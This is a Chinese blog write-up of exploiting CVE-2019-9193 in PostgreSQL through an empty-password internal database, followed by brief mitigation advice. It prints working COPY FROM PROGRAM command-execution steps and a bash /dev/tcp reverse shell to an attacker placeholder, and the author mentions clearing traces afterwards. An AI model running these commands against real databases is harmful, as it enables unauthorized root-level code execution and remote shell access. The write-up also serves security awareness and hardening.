本文最后更新于:2020年5月28日 晚上

最近没事曰曰内网,偶然发现了一个使用空密码的pg(是的,连爆破都省了)。用navicat连上去看了下几个库都是一些业务测试数据,没什么好收集;不死心,google了一下发现有个比较新的CVE好像可以操作一下~

漏洞概述

最近,安全研究人员披露了PostgreSQL实例代码执行漏洞(CVE-2019-9193)的漏洞细节。具有数据库 服务器 文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

**受影响的版本(貌似更新版本无解)

PostgreSQL> = 9.3**

漏洞利用

pg数据库连接
# 连接postgressql,虽然是内网ip但还是打一下码吧
psql -U postgres -h 172.xx.xxx.xx

image

开始攻击(直接套用网上POC)
# 删除并创建用于保存系统命令执行结果的表 
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';

# 查看结果
SELECT * FROM cmd_exec;

image
我的🐎,还是个root用户,,都不用提权了(这安全意识阿。。。)

Getshell

虽然都可以执行系统命令了,拿不拿shell无所谓,但拿了还是要方便一些;

# attack机器上开启监听
nc -lvnp 8888

# 利用pg执行远程连接命令
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/attack_ip/8888 0>&1';

attack机器已经返回shell连接了~
image

记录一下,顺便清除记录收工了。

解决方案建议

1、pg_read_server_files,pg_write_server_files和pg_execute_server_program角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑。

2、使用强密码!!!

3、进行网络隔离,只允许需要的IP连接;

🔗知乎链接